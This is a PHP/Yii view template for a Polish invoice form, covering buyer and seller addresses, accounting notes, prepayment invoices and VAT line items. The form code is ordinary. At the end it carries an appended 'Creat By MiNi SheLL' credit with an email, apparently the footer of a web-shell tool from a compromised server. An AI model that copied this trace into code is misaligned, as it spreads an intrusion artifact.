    <div<?php if($model->document_type !== InvoiceDocumentType::A_FINAL): ?> style="display: none;"<?php endif; ?>>
        <h2><?= Yii::t('backend', 'Faktury zaliczkowe'); ?> <?= Html::button(Yii::t('backend', 'Dodaj'), ['id' => 'modal-prapayment-invoices-list-button', 'class' => 'btn btn-success']) ?></h2>
        <div id="prepayment-invoices-container">
            <?php if(!empty($model->prepaymentInvoices)): ?>
                <?php foreach($model->prepaymentInvoices as $key => $modelPrepaymentInvoice): ?>
                    <div class="row" data-id="<?= $modelPrepaymentInvoice->id_invoice ?>">
                        <div class="col-md-11 nopadding-right">
                            <label class="control-label">&nbsp;</label>
                            <input type="text" class="form-control input-sm" value="<?= $modelPrepaymentInvoice->invoice_number ? $modelPrepaymentInvoice->invoice_number : $modelPrepaymentInvoice->proforma_invoice_number ?>" maxlength="10" aria-required="true" readonly="readonly">
                        </div>                    
                        <div class="col-md-1"><label class="control-label">&nbsp;</label><button class="button-remove-field btn btn-mini btn-block btn-danger fa fa-trash"></button></div>
                    </div>
                <?php endforeach; ?>
            <?php endif; ?>            
        </div>
        <?= $form->field($model, 'listPrepaymentInvoices', ['enableAjaxValidation' => true, 'enableClientValidation' => false])->dropDownList(array_combine(array_values($model->listPrepaymentInvoices), array_values($model->listPrepaymentInvoices)), ['multiple' => 'multiple', 'style' => 'display: none;'])->label(false) ?>
            
            <?php
            /*
            <?= $form->field($model, 'listPrepaymentInvoices', ['enableAjaxValidation' => true, 'enableClientValidation' => false])->begin() ?>
                <?= Html::activeDropDownList($model, 'listPrepaymentInvoices', [], ['multiple' => 'multiple', 'style' => 'display: none;', 'unselect' => null]); ?>
                <?= Html::error($model, 'listPrepaymentInvoices', ['tag' => 'div', 'class' => 'help-block']); ?>
            <?= $form->field($model, 'listPrepaymentInvoices')->end() ?>      
             */
            ?>
    </div>
    
    <div class="row">
        <div class="col-md-6">
            <h2>
                <?= Yii::t('backend', 'Nabywca') ?>                
                <!--<span id="find-contractor-button" class="btn btn-success"><i class="fa fa-search"></i> <?= Yii::t('backend', 'Wybierz kontrahenta') ?></span>-->
            </h2>

            <div class="row">
                <?= $form->field($model, 'purchaser_name', ['options' => ['class' => 'col-md-9']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'idContractor', ['options' => ['class' => 'col-md-3'], 'template' => "{label}\n<div class=\"input-group\">\n{input}\n<span class=\"input-group-btn\">\n<button id=\"find-contractor-button\" class=\"btn btn-default\" type=\"button\"><span class=\"fa fa-fw fa-search\"></span></button>\n</span>\n</div>\n{hint}\n{error}"])->textInput() ?> 
            </div>

            <div class="row">
                <?= $form->field($model, 'purchaser_street', ['options' => ['class' => 'col-md-4']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'purchaser_building_number', ['options' => ['class' => 'col-md-2']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'purchaser_apartment_number', ['options' => ['class' => 'col-md-2']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'purchaser_address_cont', ['options' => ['class' => 'col-md-4']])->textInput(['maxlength' => true]) ?>
            </div>

            <div class="row">
                <?= $form->field($model, 'purchaser_postcode', ['options' => ['class' => 'col-md-2 nopadding-right']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'purchaser_locality', ['options' => ['class' => 'col-md-3']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'purchaser_id_country', ['options' => ['class' => 'col-md-3']])->dropDownList($countriesList); ?>
                <?= $form->field($model, 'purchaser_tax_id', ['options' => ['class' => 'col-md-4']])->textInput(['maxlength' => true]) ?>
            </div>
        </div>
        <div class="col-md-6">
            <h2><?= Yii::t('backend', 'Sprzedawca') ?></h2>
    
            <div class="row">
                <?= $form->field($model, 'recipient_name', ['options' => ['class' => 'col-md-12']])->textInput(['maxlength' => true]) ?>
            </div>

            <div class="row">
                <?= $form->field($model, 'recipient_street', ['options' => ['class' => 'col-md-4']])->textInput(['maxlength' => true]) ?>    
                <?= $form->field($model, 'recipient_building_number', ['options' => ['class' => 'col-md-2']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'recipient_apartment_number', ['options' => ['class' => 'col-md-2']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'recipient_address_cont', ['options' => ['class' => 'col-md-4']])->textInput(['maxlength' => true]) ?>
            </div>

            <div class="row">
                <?= $form->field($model, 'recipient_postcode', ['options' => ['class' => 'col-md-2 nopadding-right']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'recipient_locality', ['options' => ['class' => 'col-md-3']])->textInput(['maxlength' => true]) ?>
                <?= $form->field($model, 'recipient_id_country', ['options' => ['class' => 'col-md-3']])->dropDownList($countriesList); ?>
                <?= $form->field($model, 'recipient_tax_id', ['options' => ['class' => 'col-md-4']])->textInput(['maxlength' => true]) ?>
            </div>
        </div>
    </div>
    
    <div class="row">
        <div class="col-xs-12">
            <h2>
                <?= Yii::t('backend', 'Księgowanie') ?> 
                <span id="button-load-accounting-data" class="btn btn-success"><?= Yii::t('backend', 'Wczytaj dane') ?></span>
                <?php if($orReceiptAmountDate): ?>
                    <span id="toggle-edit-accounting-fields-button" class="btn btn-default"><span class="fa fa-fw fa-lock"></span></span>
                <?php endif; ?>
            </h2>
        </div>
        
        <?= $form->field($model, 'receipt_amount_value', ['options' => ['class' => 'col-md-6']])->textInput(array_merge(['maxlength' => true, 'class' => 'form-control vjs-decimal-number'], $orReceiptAmountDate ? ['readonly' => true] : [])) ?>
        
        <?php if(in_array('receipt_amount_date', $fieldsInScenario) && !$orReceiptAmountDate): ?>
            <?= $form->field($model, 'receipt_amount_date', ['options' => ['class' => 'col-md-6']])->widget(DatePicker::classname(), [
                'options' => [],
                'readonly' => true,
                'pluginOptions' => [
                    'autoclose' => true,
                    'format' => 'yyyy-mm-dd',
                    'todayHighlight' => true,
                    'weekStart' => 1
                ]
            ]); ?>
        <?php else: ?>
            <?= $form->field($model, 'receipt_amount_date', ['options' => ['class' => 'col-md-6']])->textInput(['maxlength' => true, 'readonly' => true, 'class' => 'form-control vjs-decimal-number']); ?>
        <?php endif; ?>
        
        <?= $form->field($model, 'annotations_for_marketer', ['options' => ['class' => 'col-md-6']])->textarea(array_merge(['rows' => 6], $orReceiptAmountDate ? ['readonly' => true] : [])) ?>        
        <?= $form->field($model, 'annotations_for_editorship', ['options' => ['class' => 'col-md-6']])->textarea(array_merge(['rows' => 6], $orReceiptAmountDate ? ['readonly' => true] : [])) ?>        
        <?= $form->field($model, 'annotations', ['options' => ['class' => 'col-md-12']])->textarea(array_merge(['rows' => 3], $orReceiptAmountDate ? ['readonly' => true] : [])) ?>
    </div>
    
    <div class="clearfix"></div>
    <h2><?= Yii::t('backend', 'Elementy'); ?> <?= Html::button(Yii::t('backend', 'Dodaj'), ['id' => 'button-add-next-field', 'class' => 'btn btn-success', 'data' => ['next-field-index' => (!empty($modelsInvoicesItems)) ? max(array_keys($modelsInvoicesItems))+1 : 1]]) ?></h2>
    <h4 id="items-annotation" style="color: red;<?php if($model->document_type !== InvoiceDocumentType::A_FINAL): ?> display: none;<?php endif; ?>"><?= Yii::t('backend', 'Wpisz wartość końcową produktu / usługi') ?></h4>
    <div class="clearfix"></div><hr>
    <div id="items-fields-container" data-actual-selected-row="">
        <?php if(!empty($modelsInvoicesItems)): ?>
            <?php foreach($modelsInvoicesItems as $key => $modelInvoiceItem): ?>
                <div class="row">
                    <?= $form->field($modelInvoiceItem, '['.$key.']name', [
                        'enableAjaxValidation' => true, 
                        'enableClientValidation' => false, 
                        'template' => "{label}\n<div class=\"input-group\">\n{input}\n<span class=\"input-group-btn\">\n<button class=\"btn btn-default btn-sm modal-services-list-button\" data-url=\"".Url::to(['companiesinvoices/services-list'])."\" type=\"button\"><span class=\"fa fa-fw fa-search\"></span></button>\n</span>\n</div>\n{hint}\n{error}",
                        'options' => ['class' => 'col-md-3']
                    ])->textInput(['maxlength' => true, 'class' => 'form-control input-sm vjs-input-name']) ?>
                    <?= $form->field($modelInvoiceItem, '['.$key.']or_commodity', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1']])->dropDownList([0 => Yii::t('backend', 'nie'), 1 => Yii::t('backend', 'tak')], ['class' => 'form-control input-sm vjs-input-or-commodity']) ?>
                    <?= $form->field($modelInvoiceItem, '['.$key.']quantity', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1']])->textInput(['maxlength' => true, 'class' => 'form-control input-sm vjs-input-quantity vjs-input-item-factor', 'data' => ['factor' => 'quantity']]) ?>
                    <?= $form->field($modelInvoiceItem, '['.$key.']price_net_pricelist', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1 nopadding-left longlabel']])->textInput(['maxlength' => true, 'class' => 'form-control input-sm vjs-input-price vjs-input-item-factor vjs-decimal-number', 'data' => ['factor' => 'price']]) ?> 
                    <?= $form->field($modelInvoiceItem, '['.$key.']amount_net_before_discount', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1 nopadding-left longlabel']])->textInput(['maxlength' => true, 'class' => 'form-control input-sm vjs-input-amount-net-without-discount vjs-decimal-number', 'readonly' => true]) ?>
                    <?= $form->field($modelInvoiceItem, '['.$key.']discount_percent', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1 nopadding-left']])->textInput(['maxlength' => true, 'class' => 'form-control input-sm vjs-input-discount vjs-input-item-factor vjs-decimal-number', 'data' => ['factor' => 'discount']]) ?>
                    <?= $form->field($modelInvoiceItem, '['.$key.']amount_net', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1 nopadding-left']])->textInput(['maxlength' => true, 'class' => 'form-control input-sm vjs-input-amount-net vjs-input-item-factor vjs-decimal-number', 'data' => ['factor' => 'amount-net']]) ?>
                    <?= $form->field($modelInvoiceItem, '['.$key.']tax_rate', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1 nopadding-left']])->dropDownList(['23.00' => '23 %', '8.00' => '8 %', '5.00' => '5 %', '0.00' => '0 %'], ['class' => 'form-control input-sm vjs-input-tax-rate vjs-input-item-factor', 'data' => ['factor' => 'tax-rate']]) ?>
                    <?= $form->field($modelInvoiceItem, '['.$key.']amount_gross', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-1 nopadding-left']])->textInput(['maxlength' => true, 'class' => 'form-control input-sm vjs-input-amount-gross vjs-input-item-factor vjc-decimal-number', 'data' => ['factor' => 'amount-gross']]) ?>
                    <div class="col-md-1"><label class="control-label">&nbsp;</label><button class="button-remove-field btn btn-mini btn-block btn-danger fa fa-trash"></button></div>
                    <div class="col-md-12">
                        <?php echo Html::activeHiddenInput($modelInvoiceItem, '['.$key.']id_service', ['class' => 'vjs-input-service']) ?><span class="vjs-clear-service"<?php if(empty($modelInvoiceItem->id_service)): ?>style="display: none;"<?php endif;?>><?= Yii::t('backend', 'Odepnij usługę') ?></span>
                    </div>
                </div>
            <?php endforeach; ?>
        <?php endif; ?>
    </div>
    <div class="clearfix"></div>
    
    <div class="form-group">
        <?= Html::submitButton($model->isNewRecord ? Yii::t('backend', 'Utwórz') : Yii::t('backend', 'Aktualizuj'), ['class' => $model->isNewRecord ? 'btn btn-success' : 'btn btn-primary']) ?>
    </div>
    <?php ActiveForm::end(); ?>

</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com